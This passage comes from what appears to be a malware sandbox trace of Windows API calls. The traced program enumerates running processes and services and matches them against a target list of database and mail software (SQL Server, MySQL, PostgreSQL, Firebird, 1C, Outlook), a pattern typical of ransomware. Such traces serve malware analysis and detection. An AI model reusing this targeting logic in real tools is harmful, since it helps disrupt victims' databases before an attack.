(lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0036.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0036.342] lstrlenW (lpString="Winmgmt") returned 7 [0036.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0036.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0036.342] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0036.342] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0036.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0036.342] lstrlenW (lpString="WPDBusEnum") returned 10 [0036.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0036.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0036.342] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0036.342] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0036.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0036.343] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f93e20 | out: hHeap=0x5f0000) returned 1 [0036.343] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e8 [0036.345] Process32FirstW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0036.346] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0036.347] lstrlenW (lpString="System") returned 6 [0036.347] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0036.347] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0036.347] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0036.347] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0036.347] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0036.347] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0036.347] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0036.347] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0036.348] lstrlenW (lpString="smss.exe") returned 8 [0036.348] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0036.348] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0036.348] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0036.348] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0036.348] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0036.348] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0036.349] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0036.349] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0036.349] lstrlenW (lpString="csrss.exe") returned 9 [0036.349] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0036.349] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0036.349] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0036.350] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0036.350] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0036.350] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0036.350] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0036.350] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0036.350] lstrlenW (lpString="wininit.exe") returned 11 [0036.350] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0036.351] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0036.351] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0036.351] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0036.351] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0036.351] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0036.351] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0036.351] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0036.352] lstrlenW (lpString="csrss.exe") returned 9 [0036.352] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0036.352] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0036.352] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0036.352] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0036.352] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0036.352] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0036.352] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0036.353] lstrlenW (lpString="winlogon.exe") returned 12 [0036.353] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0036.354] lstrlenW (lpString="services.exe") returned 12 [0036.354] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0036.354] lstrlenW (lpString="lsass.exe") returned 9 [0036.354] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0036.355] lstrlenW (lpString="lsm.exe") returned 7 [0036.355] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.356] lstrlenW (lpString="svchost.exe") returned 11 [0036.356] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.357] lstrlenW (lpString="svchost.exe") returned 11 [0036.357] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.358] lstrlenW (lpString="svchost.exe") returned 11 [0036.358] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.359] lstrlenW (lpString="svchost.exe") returned 11 [0036.359] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.359] lstrlenW (lpString="svchost.exe") returned 11 [0036.359] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0036.360] lstrlenW (lpString="audiodg.exe") returned 11 [0036.360] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.361] lstrlenW (lpString="svchost.exe") returned 11 [0036.361] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.362] lstrlenW (lpString="svchost.exe") returned 11 [0036.362] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0036.363] lstrlenW (lpString="dwm.exe") returned 7 [0036.363] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0036.364] lstrlenW (lpString="explorer.exe") returned 12 [0036.364] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0036.365] lstrlenW (lpString="spoolsv.exe") returned 11 [0036.365] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0036.365] lstrlenW (lpString="taskhost.exe") returned 12 [0036.365] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.366] lstrlenW (lpString="svchost.exe") returned 11 [0036.366] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0036.367] lstrlenW (lpString="taskeng.exe") returned 11 [0036.367] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0036.368] lstrlenW (lpString="taskhost.exe") returned 12 [0036.368] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0036.369] lstrlenW (lpString="obligations-breath.exe") returned 22 [0036.369] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0036.370] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0036.370] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0036.370] lstrlenW (lpString="achieving.exe") returned 13 [0036.370] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0036.371] lstrlenW (lpString="venice.exe") returned 10 [0036.371] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0036.372] lstrlenW (lpString="owns.exe") returned 8 [0036.372] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0036.373] lstrlenW (lpString="faster momentum.exe") returned 19 [0036.373] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0036.374] lstrlenW (lpString="vital_reasons.exe") returned 17 [0036.374] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0036.374] lstrlenW (lpString="everyone.exe") returned 12 [0036.375] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0036.375] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0036.375] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0036.376] lstrlenW (lpString="bored_excluded.exe") returned 18 [0036.376] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0036.377] lstrlenW (lpString="mothers.exe") returned 11 [0036.377] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0036.378] lstrlenW (lpString="career-fed.exe") returned 14 [0036.378] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0036.379] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0036.379] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0036.656] lstrlenW (lpString="initial_utilization.exe") returned 23 [0036.656] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0036.657] lstrlenW (lpString="cf-represent.exe") returned 16 [0036.657] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0036.658] lstrlenW (lpString="tue.exe") returned 7 [0036.658] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0036.659] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0036.659] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0036.660] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0036.660] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0036.661] lstrlenW (lpString="stuff_event.exe") returned 15 [0036.661] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0036.666] lstrlenW (lpString="keywords-copies.exe") returned 19 [0036.666] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0036.667] lstrlenW (lpString="lap.exe") returned 7 [0036.667] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0036.668] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0036.668] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0036.669] lstrlenW (lpString="dllhost.exe") returned 11 [0036.669] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0036.669] lstrlenW (lpString="dllhost.exe") returned 11 [0036.670] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0036.670] lstrlenW (lpString="chrome64b.exe") returned 13 [0036.670] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0036.671] lstrlenW (lpString="cmd.exe") returned 7 [0036.671] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0036.672] lstrlenW (lpString="conhost.exe") returned 11 [0036.672] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0036.673] CloseHandle (hObject=0x1e8) returned 1 [0036.673] Sleep (dwMilliseconds=0x1f4) [0037.465] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x66fc28 [0037.465] EnumServicesStatusExW (in: hSCManager=0x66fc28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0037.466] GetLastError () returned 0xea [0037.466] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x11e4) returned 0x6e1eb0 [0037.466] EnumServicesStatusExW (in: hSCManager=0x66fc28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6e1eb0, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6e1eb0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0037.466] CloseServiceHandle (hSCObject=0x66fc28) returned 1 [0037.467] lstrlenW (lpString="Appinfo") returned 7 [0037.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0037.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0037.467] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0037.467] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0037.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0037.467] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0037.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0037.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0037.467] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0037.467] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0037.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0037.467] lstrlenW (lpString="AudioSrv") returned 8 [0037.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0037.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0037.467] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0037.467] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0037.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0037.467] lstrlenW (lpString="BFE") returned 3 [0037.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0037.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0037.467] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0037.467] 